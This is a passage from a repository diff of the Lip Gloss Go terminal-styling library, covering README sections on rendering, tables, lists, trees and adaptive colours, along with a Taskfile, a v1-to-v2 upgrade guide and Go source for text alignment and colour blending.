wrapped := lipgloss.Wrap(styledText, 40, " ")
```
## Rendering
Generally, you just call the `Render(string...)` method on a `lipgloss.Style`:
```go
style := lipgloss.NewStyle().Bold(true).SetString("Hello,")
lipgloss.Println(style.Render("kitty.")) // Hello, kitty.
lipgloss.Println(style.Render("puppy.")) // Hello, puppy.
```
But you could also use the Stringer interface:
```go
var style = lipgloss.NewStyle().SetString("你好,猫咪。").Bold(true)
lipgloss.Println(style) // 你好,猫咪。
```
## Utilities
In addition to pure styling, Lip Gloss also ships with some utilities to help
assemble your layouts.
### Compositing
<p><img width="350" alt="xx" src="https://github.com/user-attachments/assets/1921bac6-2408-436a-9d9e-7930fe4c6ec9" /></p>
Lip Gloss includes a powerful, cell-based compositor for rendering layered
content:
```go
// Create some layers.
a := lipgloss.NewLayer(pickles).X(4).Y(2).Z(1)
b := lipgloss.NewLayer(bitterMelon).X(22).Y(1)
c := lipgloss.NewLayer(sriracha).X(11).Y(7)
// Composite 'em and render.
output := compositor.Compose(a, b, c).Render()
```
For a more thorough example, see [the canvas
example](./examples/canvas/main.go). For reference, including how to detect
mouse clicks on layers, see [the docs][docs].
### Joining Paragraphs
Horizontally and vertically joining paragraphs is a cinch.
```go
// Horizontally join three paragraphs along their bottom edges
lipgloss.JoinHorizontal(lipgloss.Bottom, paragraphA, paragraphB, paragraphC)
// Vertically join two paragraphs along their center axes
lipgloss.JoinVertical(lipgloss.Center, paragraphA, paragraphB)
// Horizontally join three paragraphs, with the shorter ones aligning 20%
// from the top of the tallest
lipgloss.JoinHorizontal(0.2, paragraphA, paragraphB, paragraphC)
```
### Measuring Width and Height
Sometimes you’ll want to know the width and height of text blocks when building
your layouts.
```go
// Render a block of text.
var style = lipgloss.NewStyle().
Width(40).
Padding(2)
var block string = style.Render(someLongString)
// Get the actual, physical dimensions of the text block.
width := lipgloss.Width(block)
height := lipgloss.Height(block)
// Here's a shorthand function.
w, h := lipgloss.Size(block)
```
### Blending Colors
You can blend colors in one or two dimensions for gradient effects:
```go
// 1-dimentinoal gradient
colors := lipgloss.Blend1D(10, lipgloss.Color("#FF0000"), lipgloss.Color("#0000FF"))
// 2-dimensional gradient with rotation
colors := lipgloss.Blend2D(80, 24, 45.0, color1, color2, color3)
```
### Placing Text in Whitespace
Sometimes you’ll simply want to place a block of text in whitespace. This is
a lightweight alternative to compositing.
```go
// Center a paragraph horizontally in a space 80 cells wide. The height of
// the block returned will be as tall as the input paragraph.
block := lipgloss.PlaceHorizontal(80, lipgloss.Center, fancyStyledParagraph)
// Place a paragraph at the bottom of a space 30 cells tall. The width of
// the text block returned will be as wide as the input paragraph.
block := lipgloss.PlaceVertical(30, lipgloss.Bottom, fancyStyledParagraph)
// Place a paragraph in the bottom right corner of a 30x80 cell space.
block := lipgloss.Place(30, 80, lipgloss.Right, lipgloss.Bottom, fancyStyledParagraph)
```
You can also style the whitespace. For details, see [the docs][docs].
## Rendering Tables
Lip Gloss ships with a table rendering sub-package.
```go
import "charm.land/lipgloss/v2/table"
```
Define some rows of data.
```go
rows := [][]string{
{"Chinese", "您好", "你好"},
{"Japanese", "こんにちは", "やあ"},
{"Arabic", "أهلين", "أهلا"},
{"Russian", "Здравствуйте", "Привет"},
{"Spanish", "Hola", "¿Qué tal?"},
}
```
Use the table package to style and render the table.
```go
var (
purple = lipgloss.Color("99")
gray = lipgloss.Color("245")
lightGray = lipgloss.Color("241")
headerStyle = lipgloss.NewStyle().Foreground(purple).Bold(true).Align(lipgloss.Center)
cellStyle = lipgloss.NewStyle().Padding(0, 1).Width(14)
oddRowStyle = cellStyle.Foreground(gray)
evenRowStyle = cellStyle.Foreground(lightGray)
)
t := table.New().
Border(lipgloss.NormalBorder()).
BorderStyle(lipgloss.NewStyle().Foreground(purple)).
StyleFunc(func(row, col int) lipgloss.Style {
switch {
case row == table.HeaderRow:
return headerStyle
case row%2 == 0:
return evenRowStyle
default:
return oddRowStyle
}
}).
Headers("LANGUAGE", "FORMAL", "INFORMAL").
Rows(rows...)
// You can also add tables row-by-row
t.Row("English", "You look absolutely fabulous.", "How's it going?")
```
Print the table.
```go
lipgloss.Println(t)
```
![Table Example](https://github.com/charmbracelet/lipgloss/assets/42545625/6e4b70c4-f494-45da-a467-bdd27df30d5d)
### Table Borders
There are helpers to generate tables in markdown or ASCII style:
#### Markdown Table
```go
table.New().Border(lipgloss.MarkdownBorder()).BorderTop(false).BorderBottom(false)
```
```
| LANGUAGE | FORMAL | INFORMAL |
|----------|--------------|-----------|
| Chinese | Nǐn hǎo | Nǐ hǎo |
| French | Bonjour | Salut |
| Russian | Zdravstvuyte | Privet |
| Spanish | Hola | ¿Qué tal? |
```
#### ASCII Table
```go
table.New().Border(lipgloss.ASCIIBorder())
```
```
+----------+--------------+-----------+
| LANGUAGE | FORMAL | INFORMAL |
+----------+--------------+-----------+
| Chinese | Nǐn hǎo | Nǐ hǎo |
| French | Bonjour | Salut |
| Russian | Zdravstvuyte | Privet |
| Spanish | Hola | ¿Qué tal? |
+----------+--------------+-----------+
```
For more on tables see [the docs][docs] and [examples](https://github.com/charmbracelet/lipgloss/tree/master/examples/table).
## Rendering Lists
Lip Gloss ships with a list rendering sub-package.
```go
import "charm.land/lipgloss/v2/list"
```
Define a new list.
```go
l := list.New("A", "B", "C")
```
Print the list.
```go
lipgloss.Println(l)
// • A
// • B
// • C
```
Lists have the ability to nest.
```go
l := list.New(
"A", list.New("Artichoke"),
"B", list.New("Baking Flour", "Bananas", "Barley", "Bean Sprouts"),
"C", list.New("Cashew Apple", "Cashews", "Coconut Milk", "Curry Paste", "Currywurst"),
"D", list.New("Dill", "Dragonfruit", "Dried Shrimp"),
"E", list.New("Eggs"),
"F", list.New("Fish Cake", "Furikake"),
"J", list.New("Jicama"),
"K", list.New("Kohlrabi"),
"L", list.New("Leeks", "Lentils", "Licorice Root"),
)
```
Print the list.
```go
lipgloss.Println(l)
```
<p align="center">
<img width="600" alt="image" src="https://github.com/charmbracelet/lipgloss/assets/42545625/0dc9f440-0748-4151-a3b0-7dcf29dfcdb0">
</p>
Lists can be customized via their enumeration function as well as using
`lipgloss.Style`s.
```go
enumeratorStyle := lipgloss.NewStyle().Foreground(lipgloss.Color("99")).MarginRight(1)
itemStyle := lipgloss.NewStyle().Foreground(lipgloss.Color("212")).MarginRight(1)
l := list.New(
"Glossier",
"Claire's Boutique",
"Nyx",
"Mac",
"Milk",
).
Enumerator(list.Roman).
EnumeratorStyle(enumeratorStyle).
ItemStyle(itemStyle)
```
Print the list.
<p align="center">
<img width="600" alt="List example" src="https://github.com/charmbracelet/lipgloss/assets/42545625/360494f1-57fb-4e13-bc19-0006efe01561">
</p>
In addition to the predefined enumerators (`Arabic`, `Alphabet`, `Roman`, `Bullet`, `Tree`),
you may also define your own custom enumerator:
```go
l := list.New("Duck", "Duck", "Duck", "Duck", "Goose", "Duck", "Duck")
func DuckDuckGooseEnumerator(l list.Items, i int) string {
if l.At(i).Value() == "Goose" {
return "Honk →"
}
return ""
}
l = l.Enumerator(DuckDuckGooseEnumerator)
```
Print the list:
<p align="center">
<img width="600" alt="image" src="https://github.com/charmbracelet/lipgloss/assets/42545625/157aaf30-140d-4948-9bb4-dfba46e5b87e">
</p>
If you need, you can also build lists incrementally:
```go
l := list.New()
for i := 0; i < repeat; i++ {
l.Item("Lip Gloss")
}
```
## Rendering Trees
Lip Gloss ships with a tree rendering sub-package.
```go
import "charm.land/lipgloss/v2/tree"
```
Define a new tree.
```go
t := tree.Root(".").
Child("A", "B", "C")
```
Print the tree.
```go
lipgloss.Println(t)
// .
// ├── A
// ├── B
// └── C
```
Trees have the ability to nest.
```go
t := tree.Root(".").
Child("macOS").
Child(
tree.New().
Root("Linux").
Child("NixOS").
Child("Arch Linux (btw)").
Child("Void Linux"),
).
Child(
tree.New().
Root("BSD").
Child("FreeBSD").
Child("OpenBSD"),
)
```
Print the tree.
```go
lipgloss.Println(t)
```
<p align="center">
<img width="663" alt="Tree Example (simple)" src="https://github.com/user-attachments/assets/5ef14eb8-a5d4-4f94-8834-e15d1e714f89">
</p>
Trees can be customized via their enumeration function as well as using
`lipgloss.Style`s.
```go
enumeratorStyle := lipgloss.NewStyle().Foreground(lipgloss.Color("63")).MarginRight(1)
rootStyle := lipgloss.NewStyle().Foreground(lipgloss.Color("35"))
itemStyle := lipgloss.NewStyle().Foreground(lipgloss.Color("212"))
t := tree.
Root("⁜ Makeup").
Child(
"Glossier",
"Fenty Beauty",
tree.New().Child(
"Gloss Bomb Universal Lip Luminizer",
"Hot Cheeks Velour Blushlighter",
),
"Nyx",
"Mac",
"Milk",
).
Enumerator(tree.RoundedEnumerator).
EnumeratorStyle(enumeratorStyle).
RootStyle(rootStyle).
ItemStyle(itemStyle)
```
Print the tree.
<p align="center">
<img width="663" alt="Tree Example (makeup)" src="https://github.com/user-attachments/assets/06d12d87-744a-4c89-bd98-45de9094a97e">
</p>
The predefined enumerators for trees are `DefaultEnumerator` and `RoundedEnumerator`.
If you need, you can also build trees incrementally:
```go
t := tree.New()
for i := 0; i < repeat; i++ {
t.Child("Lip Gloss")
}
```
## Advanced Color Usage
One of the most powerful features of Lip Gloss is the ability to render
different colors at runtime depending on the user's terminal and environment,
allowing you to present the best possible user experience.
This section shows you how to do exactly that.
<details>
<summary>Migrating from v1?</summary>
The `compat` package provides `AdaptiveColor`, `CompleteColor`, and
`CompleteAdaptiveColor` for a quicker migration from v1. These work by
looking at `stdin` and `stdout` on a global basis:
```go
import "charm.land/lipgloss/v2/compat"
color := compat.AdaptiveColor{
Light: lipgloss.Color("#f1f1f1"),
Dark: lipgloss.Color("#cccccc"),
}
```
Note that we don't recommend this for new code as it removes the purity from
Lip Gloss, computationally speaking, as it removes transparency around when
I/O happens, which could cause Lip Gloss to compete for resources (like stdin)
with other tools.
</details>
### Adaptive Colors
You can render different colors at runtime depending on whether the terminal
has a light or dark background:
```go
hasDarkBG := lipgloss.HasDarkBackground(os.Stdin, os.Stdout)
lightDark := lipgloss.LightDark(hasDarkBG)
myColor := lightDark(lipgloss.Color("#D7FFAE"), lipgloss.Color("#D75FEE"))
```
#### With Bubble Tea
In Bubble Tea, request the background color, listen for a
`BackgroundColorMsg`, and respond accordingly:
```go
func (m model) Init() tea.Cmd {
// First, send a Cmd to request the terminal background color.
return tea.RequestBackgroundColor
}
func (m model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
switch msg := msg.(type) {
case tea.BackgroundColorMsg:
// Great, we have the background color. Now we can set up our styles
// against the color.
m.styles = newStyles(msg.IsDark())
return m, nil
}
}
func newStyles(bgIsDark bool) styles {
// A little ternary function that will return the appropriate color
// based on the background color.
lightDark := lipgloss.LightDark(bgIsDark)
return styles{
myHotStyle: lipgloss.NewStyle().Foreground(lightDark(
lipgloss.Color("#f1f1f1"),
lipgloss.Color("#333333"),
)),
}
}
```
#### Standalone
If you’re not using Bubble Tea you can perform the query manually:
```go
// What's the background color?
hasDarkBG := lipgloss.HasDarkBackground(os.Stdin, os.Stderr)
// A helper function that will return the appropriate color based on the
// background.
lightDark := lipgloss.LightDark(hasDarkBG)
// A couple colors with light and dark variants.
thisColor := lightDark(lipgloss.Color("#C5ADF9"), lipgloss.Color("#864EFF"))
thatColor := lightDark(lipgloss.Color("#37CD96"), lipgloss.Color("#22C78A"))
a := lipgloss.NewStyle().Foreground(thisColor).Render("this")
b := lipgloss.NewStyle().Foreground(thatColor).Render("that")
// Render the appriate colors at runtime:
lipgloss.Fprintf(os.Stderr, "my fave colors are %s and %s", a, b)
```
### Complete Colors
In some cases where you may want to specify exact values for each color profile
(ANSI 16, ANSI 156, and TrueColor). For these cases, use the `Complete` helper:
```go
// You'll need the colorprofile package.
import "github.com/charmbracelet/colorprofile"
// Get the color profile.
profile := colorprofile.Detect(os.Stdout, os.Environ())
// Create a function for rendering the appropriate color based on the profile.
var completeColor := lipgloss.Complete(profile)
// Now we'll choose the appropriate color at runtime.
myColor := completeColor(ansiColor, ansi256Color, trueColor)
```
### Color Downsampling
One of the best things about Lip Gloss is that it can automatically downsample
colors to the best available profile, stripping colors (and ANSI) entirely when
output is not a TTY.
If you’re using Lip Gloss with Bubble Tea there’s nothing to do here:
downsampling is built into Bubble Tea v2. If you’re not using Bubble Tea, use
the Lip Gloss writer functions, which are a drop-in replacement for the `fmt`
package:
```go
s := lipgloss.NewStyle()
.Foreground(lipgloss.Color("#EB4268"))
.Render("Hello!")
// Downsample if needed and print to stdout.
lipgloss.Println(s)
// Render to a variable.
downsampled := lipgloss.Sprint(s)
// Print to stderr.
lipgloss.Fprint(os.Stderr, s)
```
The full set: `Print`, `Println`, `Printf`, `Fprint`, `Fprintln`, `Fprintf`,
`Sprint`, `Sprintln`, `Sprintf`.
Need more control? Check out
[Colorprofile](https://github.com/charmbracelet/colorprofile), which Lip Gloss
uses under the hood.
## What about [Bubble Tea][tea]?
Lip Gloss doesn’t replace Bubble Tea. Rather, it is an excellent Bubble Tea
companion. It was designed to make assembling terminal user interface views as
simple and fun as possible so that you can focus on building your application
instead of concerning yourself with low-level layout details.
In simple terms, you can use Lip Gloss to help build your Bubble Tea views.
[tea]: https://github.com/charmbracelet/bubbletea
## Rendering Markdown
For a more document-centric rendering solution with support for things like
lists, tables, and syntax-highlighted code have a look at [Glamour][glamour],
the stylesheet-based Markdown renderer.
[glamour]: https://github.com/charmbracelet/glamour
## Contributing
See [contributing][contribute].
[contribute]: https://github.com/charmbracelet/lipgloss/contribute
## Feedback
We’d love to hear your thoughts on this project. Feel free to drop us a note!
- [Discord](https://charm.land/chat)
- [Matrix](https://charm.land/matrix)
## License
[MIT](https://github.com/charmbracelet/lipgloss/raw/master/LICENSE)
---
Part of [Charm](https://charm.land).
<a href="https://charm.land/"><img alt="The Charm logo" src="https://stuff.charm.sh/charm-banner-next.jpg" width="400"></a>
Charm热爱开源 • Charm loves open source
[docs]: https://pkg.go.dev/charm.land/lipgloss/v2?tab=doc
+24
View File
@@ -0,0 +1,24 @@
# https://taskfile.dev
version: "3"
tasks:
lint:
desc: Run base linters
cmds:
- golangci-lint run
test:
desc: Run tests
cmds:
- go test ./... {{.CLI_ARGS}}
test:table:
desc: Run table tests
cmds:
- go test ./table {{.CLI_ARGS}}
test:tree:
desc: Run tree tests
cmds:
- go test ./tree {{.CLI_ARGS}}
+504
View File
@@ -0,0 +1,504 @@
# Lip Gloss v2 Upgrade Guide
This guide covers migrating from Lip Gloss v1 (`github.com/charmbracelet/lipgloss`)
to Lip Gloss v2 (`charm.land/lipgloss/v2`). It is written for both humans and
LLMs performing automated migrations.
---
## Table of Contents
1. [Quick Start](#quick-start)
2. [Module Path](#module-path)
3. [Color System](#color-system)
4. [Renderer Removal](#renderer-removal)
5. [Printing and Color Downsampling](#printing-and-color-downsampling)
6. [Background Detection and Adaptive Colors](#background-detection-and-adaptive-colors)
7. [Whitespace Options](#whitespace-options)
8. [Underline](#underline)
9. [Style API Changes](#style-api-changes)
10. [Tree Subpackage](#tree-subpackage)
11. [Removed APIs](#removed-apis)
12. [Quick Reference Table](#quick-reference-table)
---
## Quick Start
For the fastest possible upgrade, do these two things:
### 1. Use the `compat` package for adaptive/complete colors
```go
import "charm.land/lipgloss/v2/compat"
// v1
color := lipgloss.AdaptiveColor{Light: "#f1f1f1", Dark: "#cccccc"}
// v2
color := compat.AdaptiveColor{Light: lipgloss.Color("#f1f1f1"), Dark: lipgloss.Color("#cccccc")}
```
The `compat` package reads `stdin`/`stdout` globally, just like v1. To
customize:
```go
import (
"charm.land/lipgloss/v2/compat"
"github.com/charmbracelet/colorprofile"
)
func init() {
compat.HasDarkBackground = lipgloss.HasDarkBackground(os.Stdin, os.Stderr)
compat.Profile = colorprofile.Detect(os.Stderr, os.Environ())
}
```
### 2. Use Lip Gloss writers for output
```go
// v1
fmt.Println(s)
// v2
lipgloss.Println(s)
```
This ensures colors are automatically downsampled. If you're using Bubble Tea
v2, this step is unnecessary — Bubble Tea handles it for you.
**That's the quick path.** Read on for the full migration details.
---
## Module Path
The import path has changed.
```go
// v1
import "github.com/charmbracelet/lipgloss"
// v2
import "charm.land/lipgloss/v2"
```
**Install:**
```bash
go get charm.land/lipgloss/v2
```
All subpackages follow the same pattern:
```go
// v1
import "github.com/charmbracelet/lipgloss/table"
import "github.com/charmbracelet/lipgloss/tree"
import "github.com/charmbracelet/lipgloss/list"
// v2
import "charm.land/lipgloss/v2/table"
import "charm.land/lipgloss/v2/tree"
import "charm.land/lipgloss/v2/list"
```
**Search-and-replace pattern:**
```
github.com/charmbracelet/lipgloss → charm.land/lipgloss/v2
```
---
## Color System
This is the most significant API change.
### `Color` is now a function, not a type
```go
// v1 — Color is a string type
var c lipgloss.Color = "21"
var c lipgloss.Color = "#ff00ff"
// v2 — Color is a function returning color.Color
var c color.Color = lipgloss.Color("21")
var c color.Color = lipgloss.Color("#ff00ff")
```
The return type is `image/color.Color` (from the standard library).
### `TerminalColor` interface is removed
All methods that accepted `lipgloss.TerminalColor` now accept
`image/color.Color`:
```go
// v1
func (s Style) Foreground(c TerminalColor) Style
func (s Style) Background(c TerminalColor) Style
func (s Style) BorderForeground(c ...TerminalColor) Style
// v2
func (s Style) Foreground(c color.Color) Style
func (s Style) Background(c color.Color) Style
func (s Style) BorderForeground(c ...color.Color) Style
```
**Migration:** Replace every `lipgloss.TerminalColor` with `color.Color` and
add `import "image/color"`.
### `ANSIColor` is now an alias
```go
// v1 — custom uint type
type ANSIColor uint
// v2 — alias for ansi.IndexedColor
type ANSIColor = ansi.IndexedColor
```
v2 also exports named constants for the 16 basic ANSI colors:
```go
lipgloss.Black, lipgloss.Red, lipgloss.Green, lipgloss.Yellow,
lipgloss.Blue, lipgloss.Magenta, lipgloss.Cyan, lipgloss.White,
lipgloss.BrightBlack, lipgloss.BrightRed, lipgloss.BrightGreen,
lipgloss.BrightYellow, lipgloss.BrightBlue, lipgloss.BrightMagenta,
lipgloss.BrightCyan, lipgloss.BrightWhite
```
### `AdaptiveColor`, `CompleteColor`, `CompleteAdaptiveColor`
These types have been moved out of the root package. Use the `compat` package
for a drop-in replacement, or use the new `LightDark` and `Complete` helpers
for explicit control:
```go
// v1
color := lipgloss.AdaptiveColor{Light: "#0000ff", Dark: "#000099"}
// v2 — using compat (quick path)
color := compat.AdaptiveColor{
Light: lipgloss.Color("#0000ff"),
Dark: lipgloss.Color("#000099"),
}
// v2 — using LightDark (recommended)
hasDark := lipgloss.HasDarkBackground(os.Stdin, os.Stdout)
lightDark := lipgloss.LightDark(hasDark)
color := lightDark(lipgloss.Color("#0000ff"), lipgloss.Color("#000099"))
```
```go
// v1
color := lipgloss.CompleteColor{TrueColor: "#ff00ff", ANSI256: "200", ANSI: "5"}
// v2 — using compat
color := compat.CompleteColor{
TrueColor: lipgloss.Color("#ff00ff"),
ANSI256: lipgloss.Color("200"),
ANSI: lipgloss.Color("5"),
}
// v2 — using Complete (recommended)
profile := colorprofile.Detect(os.Stdout, os.Environ())
complete := lipgloss.Complete(profile)
color := complete(lipgloss.Color("5"), lipgloss.Color("200"), lipgloss.Color("#ff00ff"))
```
Note that `compat.AdaptiveColor` and friends take `color.Color` values for
their fields, not strings.
---
## Renderer Removal
The `Renderer` type and all associated functions are removed. In v1, every
`Style` carried a `*Renderer` pointer and the package maintained a global
default renderer.
```go
// v1 — these no longer exist
lipgloss.DefaultRenderer()
lipgloss.SetDefaultRenderer(r)
lipgloss.NewRenderer(w, opts...)
lipgloss.ColorProfile()
lipgloss.SetColorProfile(p)
renderer.NewStyle()
```
**In v2, `Style` is a plain value type.** There is no renderer. Color
downsampling is handled at the output layer (see next section).
**Migration:**
- Replace `lipgloss.DefaultRenderer().NewStyle()` with `lipgloss.NewStyle()`.
- Replace `renderer.NewStyle()` with `lipgloss.NewStyle()`.
- Remove any `*Renderer` fields from your types.
- Remove calls to `SetColorProfile` — use `colorprofile.Detect` at the output
layer instead.
---
## Printing and Color Downsampling
In v1, color downsampling happened inside `Style.Render()` via the renderer. In
v2, `Render()` always emits full-fidelity ANSI. Downsampling happens when you
print.
### Standalone Usage
Use the Lip Gloss writer functions:
```go
s := someStyle.Render("Hello!")
// Print to stdout with automatic downsampling
lipgloss.Println(s)
// Print to stderr
lipgloss.Fprintln(os.Stderr, s)
// Render to a string (downsampled for stdout's profile)
str := lipgloss.Sprint(s)
```
The default writer targets `stdout`. To customize:
```go
lipgloss.Writer = colorprofile.NewWriter(os.Stderr, os.Environ())
```
### With Bubble Tea
No changes needed. Bubble Tea v2 handles downsampling internally.
---
## Background Detection and Adaptive Colors
### Standalone
v1 detected the background color automatically via the global renderer. v2
requires explicit queries:
```go
// v1
hasDark := lipgloss.HasDarkBackground()
// v2 — specify the input and output
hasDark := lipgloss.HasDarkBackground(os.Stdin, os.Stdout)
```
Then use `LightDark` to pick colors:
```go
lightDark := lipgloss.LightDark(hasDark)
fg := lightDark(lipgloss.Color("#333333"), lipgloss.Color("#f1f1f1"))
s := lipgloss.NewStyle().Foreground(fg)
```
### With Bubble Tea
Request the background color in `Init` and listen for the response:
```go
func (m model) Init() tea.Cmd {
return tea.RequestBackgroundColor
}
func (m model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
switch msg := msg.(type) {
case tea.BackgroundColorMsg:
m.styles = newStyles(msg.IsDark())
}
// ...
}
func newStyles(bgIsDark bool) styles {
lightDark := lipgloss.LightDark(bgIsDark)
return styles{
title: lipgloss.NewStyle().Foreground(lightDark(
lipgloss.Color("#333333"),
lipgloss.Color("#f1f1f1"),
)),
}
}
```
---
## Whitespace Options
The separate foreground/background whitespace options have been replaced by a
single style option:
```go
// v1
lipgloss.Place(width, height, hPos, vPos, str,
lipgloss.WithWhitespaceForeground(lipgloss.Color("#333")),
lipgloss.WithWhitespaceBackground(lipgloss.Color("#000")),
)
// v2
lipgloss.Place(width, height, hPos, vPos, str,
lipgloss.WithWhitespaceStyle(lipgloss.NewStyle().
Foreground(lipgloss.Color("#333")).
Background(lipgloss.Color("#000")),
),
)
```
---
## Underline
`Underline(bool)` still works for basic on/off. v2 adds fine-grained control:
```go
// v1
s := lipgloss.NewStyle().Underline(true)
// v2 — still works
s := lipgloss.NewStyle().Underline(true)
// v2 — new: specific styles
s := lipgloss.NewStyle().UnderlineStyle(lipgloss.UnderlineCurly)
// v2 — new: colored underlines
s := lipgloss.NewStyle().
UnderlineStyle(lipgloss.UnderlineSingle).
UnderlineColor(lipgloss.Color("#FF0000"))
```
Internally, `Underline(true)` is equivalent to `UnderlineStyle(UnderlineSingle)`
and `Underline(false)` is equivalent to `UnderlineStyle(UnderlineNone)`.
---
## Style API Changes
### `NewStyle()` is no longer tied to a Renderer
```go
// v1
s := lipgloss.NewStyle() // uses global renderer
s := renderer.NewStyle() // uses specific renderer
// v2
s := lipgloss.NewStyle() // pure value, no renderer
```
### Color getters return `color.Color`
```go
// v1
fg := s.GetForeground() // returns TerminalColor
// v2
fg := s.GetForeground() // returns color.Color
```
### New style methods
| Method | Description |
|---|---|
| `UnderlineStyle(Underline)` | Set underline style (single, double, curly, etc.) |
| `UnderlineColor(color.Color)` | Set underline color |
| `PaddingChar(rune)` | Set the character used for padding fill |
| `MarginChar(rune)` | Set the character used for margin fill |
| `Hyperlink(link, params...)` | Set a clickable hyperlink |
| `BorderForegroundBlend(...color.Color)` | Apply gradient colors to borders |
| `BorderForegroundBlendOffset(int)` | Set the offset for border gradient |
Each has a corresponding `Get*`, `Unset*`, and where applicable `Get*`
accessor.
---
## Tree Subpackage
The import path changes and there are new styling options:
```go
// v1
import "github.com/charmbracelet/lipgloss/tree"
// v2
import "charm.land/lipgloss/v2/tree"
```
New methods:
- `IndenterStyle(lipgloss.Style)` — set a static style for tree indentation.
- `IndenterStyleFunc(func(Children, int) lipgloss.Style)` — conditionally style
indentation.
- `Width(int)` — set tree width for padding.
---
## Removed APIs
The following types and functions no longer exist in v2. This table shows each
removed symbol and its replacement.
| v1 Symbol | v2 Replacement |
|---|---|
| `type Renderer` | Removed entirely |
| `DefaultRenderer()` | Not needed |
| `SetDefaultRenderer(r)` | Not needed |
| `NewRenderer(w, opts...)` | Not needed |
| `ColorProfile()` | `colorprofile.Detect(w, env)` |
| `SetColorProfile(p)` | Set `lipgloss.Writer.Profile` |
| `HasDarkBackground()` (no args) | `lipgloss.HasDarkBackground(in, out)` |
| `SetHasDarkBackground(b)` | Not needed — pass bool to `LightDark` |
| `type TerminalColor` | `image/color.Color` |
| `type Color string` | `func Color(string) color.Color` |
| `type ANSIColor uint` | `type ANSIColor = ansi.IndexedColor` |
| `type AdaptiveColor` | `compat.AdaptiveColor` or `LightDark` |
| `type CompleteColor` | `compat.CompleteColor` or `Complete` |
| `type CompleteAdaptiveColor` | `compat.CompleteAdaptiveColor` |
| `WithWhitespaceForeground(c)` | `WithWhitespaceStyle(s)` |
| `WithWhitespaceBackground(c)` | `WithWhitespaceStyle(s)` |
| `renderer.NewStyle()` | `lipgloss.NewStyle()` |
---
## Quick Reference Table
A side-by-side summary for common patterns:
| Task | v1 | v2 |
|---|---|---|
| Import | `"github.com/charmbracelet/lipgloss"` | `"charm.land/lipgloss/v2"` |
| Create style | `lipgloss.NewStyle()` | `lipgloss.NewStyle()` |
| Hex color | `lipgloss.Color("#ff00ff")` | `lipgloss.Color("#ff00ff")` |
| ANSI color | `lipgloss.Color("5")` | `lipgloss.Color("5")` or `lipgloss.Magenta` |
| Adaptive color | `lipgloss.AdaptiveColor{Light: "#fff", Dark: "#000"}` | `compat.AdaptiveColor{Light: lipgloss.Color("#fff"), Dark: lipgloss.Color("#000")}` |
| Set foreground | `s.Foreground(lipgloss.Color("5"))` | `s.Foreground(lipgloss.Color("5"))` |
| Print with downsampling | `fmt.Println(s.Render("hi"))` | `lipgloss.Println(s.Render("hi"))` |
| Detect dark bg | `lipgloss.HasDarkBackground()` | `lipgloss.HasDarkBackground(os.Stdin, os.Stdout)` |
| Light/dark color | `lipgloss.AdaptiveColor{...}` | `lipgloss.LightDark(isDark)(light, dark)` |
| Whitespace styling | `WithWhitespaceForeground(c)` | `WithWhitespaceStyle(lipgloss.NewStyle().Foreground(c))` |
| Underline | `s.Underline(true)` | `s.Underline(true)` or `s.UnderlineStyle(lipgloss.UnderlineCurly)` |
---
## Feedback
Questions, issues, or feedback:
- [Discord](https://charm.land/discord)
- [Matrix](https://charm.land/matrix)
- [Email](mailto:[email protected])
---
Part of [Charm](https://charm.land).
<a href="https://charm.land/"><img alt="The Charm logo" src="https://stuff.charm.land/charm-badge.jpg" width="400"></a>
Charm热爱开源 • Charm loves open source • نحنُ نحب المصادر المفتوحة
+82
View File
@@ -0,0 +1,82 @@
package lipgloss
import (
"strings"
"github.com/charmbracelet/x/ansi"
)
// Perform text alignment. If the string is multi-lined, we also make all lines
// the same width by padding them with spaces. If a style is passed, use that
// to style the spaces added.
func alignTextHorizontal(str string, pos Position, width int, style *ansi.Style) string {
lines, widestLine := getLines(str)
var b strings.Builder
for i, l := range lines {
lineWidth := ansi.StringWidth(l)
shortAmount := widestLine - lineWidth // difference from the widest line
shortAmount += max(0, width-(shortAmount+lineWidth)) // difference from the total width, if set
if shortAmount > 0 {
switch pos {
case Right:
s := strings.Repeat(" ", shortAmount)
if style != nil {
s = style.Styled(s)
}
l = s + l
case Center:
// Note: remainder goes on the right.
left := shortAmount / 2 //nolint:mnd
right := left + shortAmount%2 //nolint:mnd
leftSpaces := strings.Repeat(" ", left)
rightSpaces := strings.Repeat(" ", right)
if style != nil {
leftSpaces = style.Styled(leftSpaces)
rightSpaces = style.Styled(rightSpaces)
}
l = leftSpaces + l + rightSpaces
default: // Left
s := strings.Repeat(" ", shortAmount)
if style != nil {
s = style.Styled(s)
}
l += s
}
}
b.WriteString(l)
if i < len(lines)-1 {
b.WriteRune('\n')
}
}
return b.String()
}
func alignTextVertical(str string, pos Position, height int, _ *ansi.Style) string {
strHeight := strings.Count(str, "\n") + 1
if height < strHeight {
return str
}
switch pos {
case Top:
return str + strings.Repeat("\n", height-strHeight)
case Center:
topPadding, bottomPadding := (height-strHeight)/2, (height-strHeight)/2 //nolint:mnd
if strHeight+topPadding+bottomPadding > height {
topPadding--
} else if strHeight+topPadding+bottomPadding < height {
bottomPadding++
}
return strings.Repeat("\n", topPadding) + str + strings.Repeat("\n", bottomPadding)
case Bottom:
return strings.Repeat("\n", height-strHeight) + str
}
return str
}
+8
View File
@@ -0,0 +1,8 @@
//go:build !windows
package lipgloss
import "os"
// EnableLegacyWindowsANSI is only needed on Windows.
func EnableLegacyWindowsANSI(*os.File) {}
+30
View File
@@ -0,0 +1,30 @@
//go:build windows
package lipgloss
import (
"os"
"golang.org/x/sys/windows"
)
// EnableLegacyWindowsANSI enables support for ANSI color sequences in the
// Windows default console (cmd.exe and the PowerShell application). Note that
// this only works with Windows 10 and greater. Also note that Windows Terminal
// supports colors by default.
func EnableLegacyWindowsANSI(f *os.File) {
var mode uint32
handle := windows.Handle(f.Fd())
err := windows.GetConsoleMode(handle, &mode)
if err != nil {
return
}
// See https://docs.microsoft.com/en-us/windows/console/console-virtual-terminal-sequences
if mode&windows.ENABLE_VIRTUAL_TERMINAL_PROCESSING != windows.ENABLE_VIRTUAL_TERMINAL_PROCESSING {
vtpmode := mode | windows.ENABLE_VIRTUAL_TERMINAL_PROCESSING
if err := windows.SetConsoleMode(handle, vtpmode); err != nil {
return
}
}
}
+196
View File
@@ -0,0 +1,196 @@
package lipgloss
import (
"image/color"
"math"
"slices"
"github.com/lucasb-eyer/go-colorful"
)
// Blend1D blends a series of colors together in one linear dimension using multiple
// stops, into the provided number of steps. Uses the "CIE L*, a*, b*" (CIELAB) color-space.
//
// Note that if any of the provided colors are completely transparent, we will
// assume that the alpha value was lost in conversion from RGB -> RGBA, and we
